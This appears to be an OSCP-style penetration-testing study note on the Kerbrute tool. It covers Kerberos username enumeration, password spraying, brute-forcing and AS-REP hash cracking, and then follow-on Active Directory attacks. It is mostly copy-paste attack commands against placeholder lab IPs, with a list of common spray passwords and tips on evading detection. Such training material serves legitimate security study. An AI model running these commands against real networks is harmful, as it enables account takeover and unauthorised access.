Kerbrute

Kerbrute — Kerberos User Enumeration & Password Spray

External: Internal All The Things — Password Spraying

What is Kerbrute?

Kerbrute is a fast Kerberos-based tool that exploits the fact that the KDC (Key Distribution Center / Domain Controller) responds differently to valid vs invalid usernames during pre-authentication. This lets you:

• Enumerate valid domain usernames — no credentials required
• Spray passwords against known users — fast and low-noise
• Brute-force a single account (use sparingly — lockout risk)

Kerbrute → sends AS-REQ to DC port 88
DC replies with:
  VALID user, wrong password  →  KRB5KDC_ERR_PREAUTH_REQUIRED
  INVALID user                →  KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
  VALID user, correct password→  AS-REP (ticket granted!)

OSCP relevance: Kerbrute is almost always your first step against Active Directory when you have no creds at all. It maps valid usernames, which you then use for AS-REP Roasting, Kerberoasting, or password spraying — all without touching LDAP or SMB.

---

📌 Prerequisites

• Target port 88/TCP (Kerberos) must be reachable
• Domain name (e.g. corp.local) — check Nmap banners, SMB, or DNS
• A username wordlist or valid user list

---

📌 1) Installation

# Kali — install via apt
sudo apt install kerbrute
 
# Or download binary from GitHub (faster, no dependencies)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
 
# Verify
kerbrute --help
kerbrute version

---

📌 2) All Flags

Global Flags (apply to all commands)

Flag	Description
--dc HOST	Domain Controller IP or hostname (required)
-d DOMAIN	Domain name, e.g. corp.local (required)
-t N	Threads (default: 10)
-o FILE	Output file — saves valid users/results
--downgrade	Force downgrade to RC4 (weaker encryption — easier cracking)
--hash-file FILE	Save Kerberos hashes to file (from valid AS-REP)
-v	Verbose — show all responses including failures
--safe	Stop on first account lockout (use with bruteuser)
--no-color	Disable colored output
--delay N	Add N milliseconds delay between requests
--timeout N	Connection timeout in seconds (default: 5)
--domain-controller HOST	Alias for --dc
-h	Help

Commands

Command	Description
userenum	Enumerate valid usernames
passwordspray	Spray one password against many users
bruteuser	Brute-force one specific user
bruteforce	Brute-force user:password combinations from a file

---

📌 3) User Enumeration

Find valid domain users — no credentials needed. The DC’s Kerberos error codes reveal whether a username exists.

Basic usage

# With SecLists username wordlist
kerbrute userenum --dc 10.10.10.10 -d corp.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
 
# Custom wordlist
kerbrute userenum --dc 10.10.10.10 -d corp.local users.txt
 
# Save results to file
kerbrute userenum --dc 10.10.10.10 -d corp.local users.txt -o valid_users.txt
 
# More threads for speed
kerbrute userenum --dc 10.10.10.10 -d corp.local users.txt -t 50 -o valid_users.txt
 
# Verbose (see all responses)
kerbrute userenum --dc 10.10.10.10 -d corp.local users.txt -v

Good username wordlists

# SecLists (best for OSCP)
/usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/SecLists/Usernames/Names/names.txt
/usr/share/wordlists/SecLists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
 
# If you already have names from Nmap/SMB/web app:
# Build a custom list: first.last, flast, firstname, etc.
echo -e "administrator\nadmin\nsvc_sql\njohn.doe\njdoe" > custom_users.txt
kerbrute userenum --dc 10.10.10.10 -d corp.local custom_users.txt

What the output means

[+] VALID USERNAME: john.doe@corp.local     ← account exists
[!] john.doe@corp.local - Account locked out ← account exists (lockout risk!)
[!] john.doe@corp.local - Account disabled  ← exists but disabled
[-] invalid@corp.local - Username not found  ← does not exist

---

📌 4) Password Spray

Test one password against all known valid users. Much safer than brute-force — avoids lockouts.

# Spray one password
kerbrute passwordspray --dc 10.10.10.10 -d corp.local valid_users.txt 'Password123'
kerbrute passwordspray --dc 10.10.10.10 -d corp.local valid_users.txt 'Summer2024!'
 
# Save hits to file
kerbrute passwordspray --dc 10.10.10.10 -d corp.local valid_users.txt 'Password123' -o spray_hits.txt
 
# Verbose
kerbrute passwordspray --dc 10.10.10.10 -d corp.local valid_users.txt 'Password123' -v

Common passwords to spray (OSCP context)

Password123
Password123!
Summer2024!
Winter2024!
Welcome1
Welcome123
Company123
Season+Year (e.g. Spring2024)
Domain name + year (e.g. Corp2024)
Blank password → test separately with CME

Lockout warning: Spray ONE password, then wait. Domain policy is typically 5 failed attempts = lockout. Never spray multiple passwords in quick succession. Check lockout threshold first with enum4linux or CrackMapExec.

---

📌 5) Brute-Force a Single User

Only use when you know the account and the policy allows it:

# Brute-force one user with a password list
kerbrute bruteuser --dc 10.10.10.10 -d corp.local /usr/share/wordlists/rockyou.txt administrator
 
# Stop on lockout
kerbrute bruteuser --dc 10.10.10.10 -d corp.local passwords.txt administrator --safe
 
# With hash file (capture AS-REP hashes for offline crack)
kerbrute bruteuser --dc 10.10.10.10 -d corp.local passwords.txt administrator --hash-file hashes.txt

---

📌 6) Brute-Force from File (user:password pairs)

# File format: one user:password per line
# admin:Password123
# john.doe:Summer2024!
 
kerbrute bruteforce --dc 10.10.10.10 -d corp.local creds.txt

---

📌 7) Harvesting AS-REP Hashes (—hash-file)

When Kerbrute finds valid credentials or accounts without pre-auth, it can capture the AS-REP ticket:

# Capture hashes during spray/brute
kerbrute passwordspray --dc 10.10.10.10 -d corp.local users.txt 'Password123' --hash-file captured.txt
 
# Crack captured hashes
hashcat -m 18200 captured.txt /usr/share/wordlists/rockyou.txt
john --format=krb5asrep captured.txt --wordlist=/usr/share/wordlists/rockyou.txt

See Kerberoast for full AS-REP Roasting workflow.

---

📌 8) After Finding Valid Users — What to Do Next

Option A — AS-REP Roasting (no creds needed)

# Check which valid users have pre-auth disabled
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.10 -no-pass -usersfile valid_users.txt -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Option B — Kerberoasting (needs low-priv creds)

# Once you have any creds (from spray or AS-REP crack)
impacket-GetUserSPNs corp.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerb_hashes.txt
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

Option C — Verify creds found by spray

# Confirm cracked/sprayed creds work
crackmapexec smb 10.10.10.10 -u user -p 'Password123' -d corp.local
netexec smb 10.10.10.10 -u user -p 'Password123'
 
# Check for local admin (look for Pwn3d!)
crackmapexec smb 10.10.10.0/24 -u user -p 'Password123' -d corp.local
 
# Connect if admin
evil-winrm -i 10.10.10.10 -u user -p 'Password123'
impacket-psexec corp.local/user:'Password123'@10.10.10.10

Option D — BloodHound collection

# With creds from spray → collect AD graph data
bloodhound-python -u user -p 'Password123' -d corp.local -dc dc01.corp.local -c All

---

📌 9) Full OSCP Workflow

1. Find the DC IP (Nmap port 88 open, or DNS, or SMB banner)

2. Get domain name (Nmap SMB scripts, enum4linux, or read from any banner)

3. Enumerate valid users (no creds needed):
   kerbrute userenum --dc DC_IP -d corp.local userlist.txt -o valid_users.txt

4. Check for AS-REP roastable accounts:
   impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile valid_users.txt

5. If no AS-REP hashes → password spray:
   kerbrute passwordspray --dc DC_IP -d corp.local valid_users.txt 'Password123'

6. With creds → Kerberoast:
   impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request

7. With creds → BloodHound:
   bloodhound-python -u user -p pass -d corp.local -dc DC_IP -c All

8. With creds → access:
   evil-winrm / psexec / wmiexec / RDP

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── USER ENUMERATION ─────────────────────────────────────────
kerbrute userenum --dc DC_IP -d corp.local /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt -t 50
 
# ─── PASSWORD SPRAY ───────────────────────────────────────────
kerbrute passwordspray --dc DC_IP -d corp.local valid_users.txt 'Password123' -o hits.txt
kerbrute passwordspray --dc DC_IP -d corp.local valid_users.txt 'Summer2024!' -o hits.txt
 
# ─── BRUTE-FORCE ONE USER ─────────────────────────────────────
kerbrute bruteuser --dc DC_IP -d corp.local /usr/share/wordlists/rockyou.txt administrator --safe
 
# ─── AFTER FINDING USERS → AS-REP ROAST ──────────────────────
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile valid_users.txt -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
 
# ─── VERIFY CREDS ─────────────────────────────────────────────
crackmapexec smb DC_IP -u user -p 'Password123' -d corp.local
netexec winrm DC_IP -u user -p 'Password123'
 
# ─── CONNECT ──────────────────────────────────────────────────
evil-winrm -i DC_IP -u user -p 'Password123'
impacket-psexec corp.local/user:'Password123'@DC_IP

---

📌 OPSEC Notes

• Kerberos pre-auth failures are logged in Windows Event ID 4771 — but much less visible than LDAP/SMB failures
• User enumeration generates no authentication events — only connection attempts to port 88
• Password spray can trigger account lockouts — spray ONE password, check policy first
• Use --delay flag on monitored networks to slow requests down

---

Related Tools

• Time Sync
• Kerberoast
• ldapsearch
• Hydra
• Impacket
• Pidgin

Related Notes

• Tools
• Active Directory
• Kerberoast
• Bloodhound + Sharphound
• CrackMapExec - nxc
• Impacket
• Responder
• Hashcat
• John
• evil-winrm
• AD
• Initial foothold
• Text Processing
• Pipelines & Chaining
• Training